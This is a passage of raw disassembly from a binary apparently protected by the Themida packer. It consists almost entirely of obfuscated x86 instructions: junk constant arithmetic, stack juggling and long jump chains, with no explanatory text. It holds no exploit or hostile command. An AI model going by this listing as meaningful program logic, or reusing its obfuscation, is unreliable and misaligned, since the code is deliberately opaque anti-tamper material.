		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_59F9D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5928C5:				; CODE XREF: sub_59390B+B16Cj
		push	[esp-8+arg_4]
		jmp	loc_59FE2B
; ---------------------------------------------------------------------------


loc_5928CE:				; CODE XREF: sub_59390B-19A8j
		add	ecx, 0FFFFFFFFh
		jmp	loc_59FAA5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5928D9:				; CODE XREF: Themida_:005980ACj
		push	edx
		push	eax
		mov	al, 0E5h
		sub	al, 64h
		push	edx
		mov	dh, 0DFh
		add	dh, 92h
		shl	dh, 4
		or	dh, 4
		sub	dh, 0E6h
		add	al, dh
		pop	edx
		jmp	loc_5918C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_5928F6:				; CODE XREF: sub_5A085D+Bj
		or	ch, 0F4h
		dec	ch
		shl	ch, 4
		shl	ch, 7
		jmp	loc_5A2D41
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592906:				; CODE XREF: sub_59390B+F06j
		mov	ecx, [esp-8+arg_0]
		jmp	loc_59AF3E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59290E:				; CODE XREF: Themida_:0059BA05j
		or	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 2
		jmp	loc_59388F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_592921:				; CODE XREF: sub_59CAFB+902Aj
		sub	eax, ebp
		jmp	loc_59E817
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BBA6


loc_592928:				; CODE XREF: sub_59BBA6+18j
		mov	ebp, ebx
		jmp	loc_5988B7
; END OF FUNCTION CHUNK	FOR sub_59BBA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59292F:				; CODE XREF: sub_59390B+EB24j
		sub	eax, ebx
		pop	ebx
		pop	ebx
		jmp	loc_5A219C
; ---------------------------------------------------------------------------


loc_592938:				; CODE XREF: sub_59390B+EA90j
		xor	ebx, 70BFB305h
		add	ebp, ebx
		pop	ebx
		mov	ecx, ebp
		pop	ebp
		sub	esi, 1278303Ah
		add	esi, ecx
		jmp	loc_592032
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592951:				; CODE XREF: Themida_:0059FE5Ej
		pop	esp
		push	45C6h
		mov	[esp], edi
		push	ecx
		push	0F2542A7h
		pop	ecx
		push	ebx
		jmp	loc_5A2934
; ---------------------------------------------------------------------------


loc_592967:				; CODE XREF: Themida_:0059CE9Bj
		push	edx
		push	ebx
		push	4937752h
		pop	ebx
		and	ebx, 6C0F08D3h
		xor	ebx, 4030056h
		mov	edx, ebx
		pop	ebx
		jmp	loc_597B6A
; ---------------------------------------------------------------------------


loc_592983:				; CODE XREF: Themida_:005A0BF9j
		xor	edx, ecx
		pop	ecx
		shr	edx, 4
		xor	edx, 8DB9809Ah
		sub	edi, edx
		pop	edx
		jmp	loc_5A3B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592997:				; CODE XREF: sub_59390B+4539j
		xchg	eax, [esp-18h+arg_10]
		mov	esp, [esp-18h+arg_10]
		mov	[esp-18h+arg_10], ebx
		pop	eax
		push	688Bh
		jmp	loc_5A4270
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_5929AB:				; CODE XREF: sub_590AC5+2D5Bj
		mov	[esp-4+arg_0], edi
		push	1EA4h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		jmp	loc_59FEA5
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_5929BF:				; CODE XREF: sub_5964AF+2CD7j
		add	esp, 4
		sub	edx, 3E2E6841h
		add	edx, 1
		add	edx, 312A6FABh
		push	esi
		push	ecx
		push	ebp
		mov	ebp, 703E15D7h
		shr	ebp, 3
		not	ebp
		sub	ebp, 0EB86D42Fh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5994C9
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5929F2:				; CODE XREF: sub_59390B+3DF0j
		sub	ah, dl
		push	[esp-18h+arg_10]
		jmp	loc_5A107B
; ---------------------------------------------------------------------------


loc_5929FC:				; CODE XREF: sub_59390B+B3C9j
		and	bl, 34h
		jmp	loc_596C2B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592A04:				; CODE XREF: Themida_:005992D6j
		mov	[esp], ebp
		mov	ebp, 52D53D3Ah
		shl	ebp, 5
		sub	ebp, 5AA7A704h
		mov	ecx, ebp
		jmp	loc_5992FB
; ---------------------------------------------------------------------------


loc_592A1C:				; CODE XREF: Themida_:0059DB78j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5A384F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_592A27	proc near		; CODE XREF: sub_59390B+7828j

; FUNCTION CHUNK AT 0059BD12 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A192E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A21B7 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A192E
sub_592A27	endp

; ---------------------------------------------------------------------------


loc_592A38:				; CODE XREF: Themida_:00597562j
		mov	esp, [esp]
		jmp	loc_5A570F
; ---------------------------------------------------------------------------


loc_592A40:				; CODE XREF: Themida_:005A5123j
		add	ecx, edi
		sub	ecx, 34713BEFh
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A44AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592A59:				; CODE XREF: sub_59390B-D5Bj
		sub	bl, dl
		pop	edx
		jmp	loc_5A3F4C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_592A61:				; CODE XREF: sub_594A8D+10F03j
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 2B1A0F2Dh
		or	ebx, 73E912DFh
		dec	ebx
		neg	ebx
		push	ecx
		jmp	loc_5A4182
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592A78:				; CODE XREF: sub_59390B-975j
		add	ebx, edx
		push	esi
		mov	esi, 224170FDh
		jmp	loc_595CC9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592A85:				; CODE XREF: Themida_:00598B10j
		mov	[esp], eax
		mov	eax, 2B0721C8h
		xor	eax, 53F838F9h
		push	esi
		push	ebx
		jmp	loc_59D1E2
; ---------------------------------------------------------------------------


loc_592A99:				; CODE XREF: Themida_:005A3F28j
		add	eax, 1A4C23E9h
		add	eax, 7A91F54h
		mov	edx, [esp]
		push	ecx
		jmp	loc_592453
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592AAC:				; CODE XREF: sub_59390B+6B5Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp-14h+arg_C], ecx
		mov	ch, 2
		jmp	loc_59367B
; ---------------------------------------------------------------------------


loc_592AC2:				; CODE XREF: sub_59390B+E67Dj
		push	edi
		mov	edi, 7F821E4Ah
		mov	esi, 7F821E4Ah
		sub	esi, edi
		pop	edi
		sub	esi, ebx
		jmp	loc_59F52E
; ---------------------------------------------------------------------------


loc_592AD7:				; CODE XREF: sub_59390B+C0B2j
		add	ebx, 4
		jmp	loc_59F65C
; ---------------------------------------------------------------------------


loc_592AE2:				; CODE XREF: sub_59390B+1D0Dj
		mov	[esp-14h+arg_C], esi
		push	[esp-14h+arg_10]
		mov	esi, [esp-10h+arg_8]
		add	esp, 4
		jmp	loc_59C68A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_592AF7:				; CODE XREF: sub_5A4CDD-DE94j
		push	eax
		mov	eax, 72046C61h
		push	ebp
		mov	ebp, 6F8008A1h
		neg	ebp
		not	ebp
		add	ebp, 1AAB29BDh
		inc	ebp
		and	ebp, 352B08F8h
		push	edx
		mov	edx, 37445B2Dh
		or	edx, 78C856BAh
		inc	edx
		or	edx, 327C06FFh
		sub	edx, 80276058h
		jmp	loc_59DD67
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_592B32:				; CODE XREF: sub_59A75E+9F48j
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_592B37:				; CODE XREF: Themida_:00596200j
		mov	ebp, ebx
		jmp	loc_59DD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_592B3E:				; CODE XREF: sub_59F53F+28F4j
		mov	ebp, [esp+0]
		add	esp, 4
		or	ebp, 267D56AEh
		push	ecx
		push	25120578h
		pop	ecx
		sub	ebp, ecx
		pop	ecx
		jmp	loc_599A7E
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_592B5C:				; CODE XREF: sub_5A23FB+1F69j
		add	ebx, 376A215Ah
		add	ebx, 1F374973h
		sub	ebx, 0AF3A3DD7h
		sub	edi, 3F3A45A6h
		sub	edi, ebx
		jmp	loc_59A656
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------


loc_592B7B:				; CODE XREF: Themida_:0059384Dj
		sub	esi, 18745651h
		or	esi, 9061B6h
		xor	esi, 309119E0h
		add	esi, 20CFE3D0h
		sub	esi, 4F655FE7h
		xor	esi, 19CF3227h
		shl	esi, 3
		jmp	loc_59E04C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592BA7:				; CODE XREF: sub_59390B+D533j
		mov	dl, 80h
		not	dl
		dec	dl
		sub	dl, 46h
		jmp	loc_592A59
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592BB5:				; CODE XREF: Themida_:00599E99j
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5A47E1
; ---------------------------------------------------------------------------


loc_592BC1:				; CODE XREF: Themida_:0059EAC3j
		inc	ebp
		sub	ebp, 3C344AC9h
		push	1D93h
		mov	[esp], esi
		mov	esi, 5BF81EA5h
		xor	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 4679413Eh
		shl	ecx, 7
		dec	ecx
		shr	ecx, 8
		jmp	loc_5A4778
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_592BEA:				; CODE XREF: sub_5A17BF-10182j
		push	[esp+0Ch+var_C]
		pop	ebx
		add	esp, 4
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_59CBBC
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_592BFC:				; CODE XREF: Themida_:0059C41Dj
		shr	cl, 8
		sub	cl, 0D1h
		push	edx
		mov	dh, 58h
		and	dh, 0ECh
		shl	dh, 7
		sub	dh, 0E5h
		and	cl, dh
		pop	edx
		push	dx
		mov	dh, 72h
		or	cl, dh
		pop	dx
		xor	cl, 0A8h
		jmp	loc_59C2A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_592C21:				; CODE XREF: sub_59FCCB-570Fj
		mov	esp, [esp+4+var_4]
		inc	dl
		push	0D14h
		mov	[esp+8+var_8], eax
		mov	ah, 7Ch
		shl	ah, 7
		not	ah
		push	edx
		mov	dl, 37h
		jmp	loc_592736
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_592C3D:				; CODE XREF: Themida_:0059602Dj
		add	eax, ebx
		sub	eax, 66446838h
		jmp	loc_59D49E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BDD3


loc_592C49:				; CODE XREF: sub_59BDD3-6455j
		sub	esi, eax
		pop	eax
		push	edi
		mov	edi, 7BC32A49h
		not	edi
		dec	edi
		push	eax
		jmp	loc_5975AF
; END OF FUNCTION CHUNK	FOR sub_59BDD3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_592C6A:				; CODE XREF: sub_5A51EA+24Aj
		shr	dh, 1
		push	ax
		mov	al, 0BBh
		sub	dh, al
		jmp	loc_59AB84
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_592C77:				; CODE XREF: Themida_:0059717Dj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_59E148
; ---------------------------------------------------------------------------


loc_592C95:				; CODE XREF: Themida_:00596915j
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_591F8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592CA1:				; CODE XREF: sub_59390B+4730j
		pop	edi
		sub	edx, esi
		mov	esi, [esp-18h+arg_10]
		add	esp, 4
		xchg	edx, [esp-1Ch+arg_14]
		mov	esp, [esp-1Ch+arg_14]
		mov	[esp-1Ch+arg_14], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-18h+arg_10]
		jmp	loc_59BE2C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_592CCA:				; CODE XREF: sub_591FC5-1124j
		pop	eax
		jmp	loc_59D075
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_592CD0:				; CODE XREF: Themida_:00591DB9j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_59C40E
; ---------------------------------------------------------------------------


loc_592CDA:				; CODE XREF: Themida_:005A2EC3j
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	40A6h
		jmp	loc_5935B6

; =============== S U B	R O U T	I N E =======================================



sub_592CEE	proc near		; CODE XREF: sub_59FCCB-A825j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00591D4D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059AB03 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0001 SIZE 00000023 BYTES

		push	ebx
		mov	bh, ch
		jmp	loc_59AB03
sub_592CEE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_592CF6:				; CODE XREF: Themida_:005A3FDEj
		push	ebp
		jmp	loc_59D66E

; =============== S U B	R O U T	I N E =======================================



sub_592CFC	proc near		; CODE XREF: sub_5A51EA-79C1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597FD5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D72D SIZE 00000018 BYTES

		push	ebx
		jmp	loc_597FD5
sub_592CFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_592D02:				; CODE XREF: Themida_:0059E5E8j
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_592D0B:				; CODE XREF: Themida_:005A30B5j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	7F9Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	eax
		jmp	loc_59A8F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59605F


loc_592D33:				; CODE XREF: sub_59605F+67B9j
		shr	eax, 2
		neg	eax
		push	ebx
		mov	ebx, 0A3B935E0h
		sub	eax, ebx
		pop	ebx
		mov	[edx+30h], eax
		push	dword ptr [esp+0]
		pop	eax
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 5603533Fh
		inc	eax
		add	eax, 0A9FCACC4h
		add	esi, eax
		pop	eax
		jmp	loc_59FF60
; END OF FUNCTION CHUNK	FOR sub_59605F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_592D5F:				; CODE XREF: sub_5964B7-1A96j
		pop	esi
		push	eax
		jmp	loc_59E02C
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_592D66:				; CODE XREF: sub_59A431+6F51j
		xor	[esp+10h+var_10], ecx
		xor	ecx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], ebx
		pop	eax
		push	7D6Eh
		mov	[esp+10h+var_10], ebp
		sub	esp, 4
		jmp	loc_5A0E54
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595ED9


loc_592D83:				; CODE XREF: sub_595ED9+98BDj
		mov	eax, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	sub_59333E
; END OF FUNCTION CHUNK	FOR sub_595ED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5950DF


loc_592D97:				; CODE XREF: sub_5950DF+4A37j
		mov	edi, 59D6BD4h
		xor	ebx, edi
		mov	edi, [esp+0]
		add	esp, 4
		add	eax, 6BDB0949h
		add	eax, ebx
		jmp	loc_598105
; END OF FUNCTION CHUNK	FOR sub_5950DF
; ---------------------------------------------------------------------------


loc_592DB0:				; CODE XREF: Themida_:00591CC5j
		mov	ecx, 4DE03FC6h
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5971FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592DC0:				; CODE XREF: sub_59390B+10B61j
		add	ebp, 4
		xchg	ebp, [esp-18h+arg_10]
		jmp	loc_59960D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_592DCB:				; CODE XREF: sub_59EA40+66Fj
		push	0C49h
		mov	[esp+8+var_8], esi
		push	esp
		push	[esp+0Ch+var_C]
		pop	esi
		jmp	loc_59CF09
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------


loc_592DDD:				; CODE XREF: Themida_:0059D356j
		mov	ebp, 796782Dh
		xor	ebp, 2F451791h
		not	ebp
		jmp	loc_591C2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_592DEF:				; CODE XREF: sub_59FCCB-CA5Cj
		add	bl, 63h
		pop	ecx
		push	717Fh
		mov	[esp+0Ch+var_C], eax
		mov	ah, 0EDh
		sub	ah, 33h
		add	ah, 82h
		jmp	loc_5954C1
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_592E08:				; CODE XREF: sub_59CFD4-6611j
		add	eax, edx
		pop	edx
		xchg	eax, [esp+4+var_4]
		pop	esp
		push	3876h
		mov	[esp+4+var_4], ebp
		jmp	loc_599BDA
; END OF FUNCTION CHUNK	FOR sub_59CFD4

; =============== S U B	R O U T	I N E =======================================



sub_592E1C	proc near		; DATA XREF: Themida_:00590A00o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00591661 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005923BD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595877 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597B10 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005994BE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AB17 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F685 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A2F2E SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005A58F9 SIZE 0000000C BYTES

		mov	ax, [esp+0]
		jmp	loc_591661
sub_592E1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_592E25	proc near		; CODE XREF: sub_59338E+5900j

; FUNCTION CHUNK AT 00592692 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, 49421EFEh
		mov	eax, ebx
		jmp	loc_592692
sub_592E25	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_592E32:				; CODE XREF: sub_59333E+110F6j
		add	eax, ebx
		add	eax, 65D37AF1h
		push	[esp+4+var_4]
		jmp	loc_5A1055
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_592E41:				; CODE XREF: sub_5995FC-2E19j
		xor	al, ch
		pop	ecx
		push	5864h
		jmp	loc_5A4781
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------


loc_592E4E:				; CODE XREF: Themida_:0059202Dj
		mov	esp, [esp]
		mul	cx
		push	4A5h
		jmp	loc_591074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595DDF


loc_592E5E:				; CODE XREF: sub_595DDF+Aj
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_595DDF
; ---------------------------------------------------------------------------


loc_592E63:				; CODE XREF: Themida_:0059AB79j
		pop	edx
		add	esi, 1F9F0905h
		sub	esi, edi
		sub	esi, 1F9F0905h
		jmp	loc_591359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592E77:				; CODE XREF: sub_59390B+80D5j
		sub	edx, 6326D6E3h
		add	eax, 459A7475h
		sub	eax, edx
		sub	esp, 4
		mov	[esp-14h+arg_C], esi
		mov	esi, 73DA6EC8h
		jmp	loc_59C842
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5928AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592EA7:				; CODE XREF: sub_59390B+99BAj
		mov	edi, 4
		add	edx, edi
		jmp	loc_596D32
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_592EB3:				; CODE XREF: sub_59654E+DD5Bj
		mov	ecx, 73342660h
		neg	ecx
		inc	ecx
		jmp	loc_59BE52
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------


loc_592EC0:				; CODE XREF: Themida_:005994EFj
		xor	edi, 0F4EA8987h
		add	edx, edi
		jmp	loc_59B066
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592ECD:				; CODE XREF: sub_59390B+A073j
		pop	ecx
		jmp	loc_598CC8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592ED3:				; CODE XREF: Themida_:00592643j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59B199
; ---------------------------------------------------------------------------


loc_592EDE:				; CODE XREF: Themida_:0059CDC5j
		mov	edx, [esp]
		jmp	loc_59723D
; ---------------------------------------------------------------------------


loc_592EE6:				; CODE XREF: Themida_:00599B3Cj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4CEB21AEh
		or	ebp, esi
		pop	esi
		xor	ebp, 6CEB7BFAh
		add	eax, 7A474299h
		jmp	loc_5A12ED
; ---------------------------------------------------------------------------


loc_592F04:				; CODE XREF: Themida_:0059E8A6j
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		jmp	loc_5A5555
; ---------------------------------------------------------------------------


loc_592F12:				; CODE XREF: Themida_:00594C05j
		pop	edx
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_59D89D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592F24:				; CODE XREF: sub_59390B+10D82j
		push	ecx
		mov	ecx, 4
		jmp	loc_594A26
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592F2F:				; CODE XREF: Themida_:0059A8F8j
		add	[esp+4], eax
		pop	eax
		jmp	loc_59E81D
; ---------------------------------------------------------------------------


loc_592F39:				; CODE XREF: Themida_:0059F72Fj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_592F45:				; CODE XREF: sub_5A4CDD-12D98j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_59B6BB
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_592F55:				; CODE XREF: Themida_:00590D3Aj
		sub	esp, 4
		mov	[esp], edx
		push	36A0h
		mov	[esp], ebx
		push	435Eh
		mov	[esp], edx
		mov	dh, al
		jmp	loc_59729B
; ---------------------------------------------------------------------------


loc_592F72:				; CODE XREF: Themida_:0059A1AFj
		add	edx, 4
		add	edx, 4
		jmp	loc_5A3226
; ---------------------------------------------------------------------------


loc_592F80:				; CODE XREF: Themida_:0059B6F1j
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 24h
		or	dh, 9Eh
		jmp	loc_5A3573
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592F93:				; CODE XREF: sub_59390B+80C2j
		sub	ebx, edi
		pop	edi
		jmp	loc_592A78
; ---------------------------------------------------------------------------


loc_592F9B:				; CODE XREF: sub_59390B+BCCAj
		push	small 7C2Dh
		mov	word ptr [esp-16h+arg_C+2], dx
		mov	dh, 72h
		sub	bl, 77h
		sub	bl, 11h
		add	bl, dh
		add	bl, 11h
		add	bl, 77h
		pop	dx
		push	ax
		jmp	loc_591B0F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592FBC:				; CODE XREF: Themida_:0059CA59j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_594260
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_592FCF:				; CODE XREF: sub_59390B+8Cj
		add	edi, 1FFA1316h
		jmp	loc_59AC0B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_592FDA:				; CODE XREF: Themida_:00590C6Bj
		pop	ebp
		add	ebx, 0FDF60DFh
		jmp	loc_59F895
; ---------------------------------------------------------------------------


loc_592FE6:				; CODE XREF: Themida_:005A23EFj
		mov	[esp], edi
		mov	edi, 13D37933h
		not	edi
		shr	edi, 7
		jmp	loc_595313
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	1881h
		mov	[esp], ecx
		jmp	loc_593060
; ---------------------------------------------------------------------------


loc_593008:				; CODE XREF: Themida_:005A069Aj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59F94F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_593023:				; CODE XREF: sub_59390B+A2C0j
		mov	cl, 53h
		neg	cl
		push	eax
		jmp	loc_598C0C
; ---------------------------------------------------------------------------


loc_59302D:				; CODE XREF: sub_59390B+3CEj
		push	[esp-12h+arg_8+2]
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	3143h
		mov	[esp-12h+arg_8+2], ebx
		push	esi
		mov	esi, 1
		mov	ebx, esi
		pop	esi
		push	ecx
		push	3DC5h
		mov	[esp-0Ah+arg_0+2], ebp
		push	24h
		pop	ebp
		jmp	loc_59699E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_593060:				; CODE XREF: Themida_:00593003j
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_594B7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_593070:				; CODE XREF: sub_59E918+51A4j
		pop	edx
		add	eax, 3B0F6815h
		add	eax, ebx
		sub	eax, 3B0F6815h
		sub	eax, 460B6706h
		pop	ebx
		xchg	eax, [esp+8+var_8]
		pop	esp
		push	ecx
		mov	cl, 62h
		jmp	loc_590C18
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59308F:				; CODE XREF: sub_59390B+CB6Bj
		push	ecx
		mov	ecx, 4
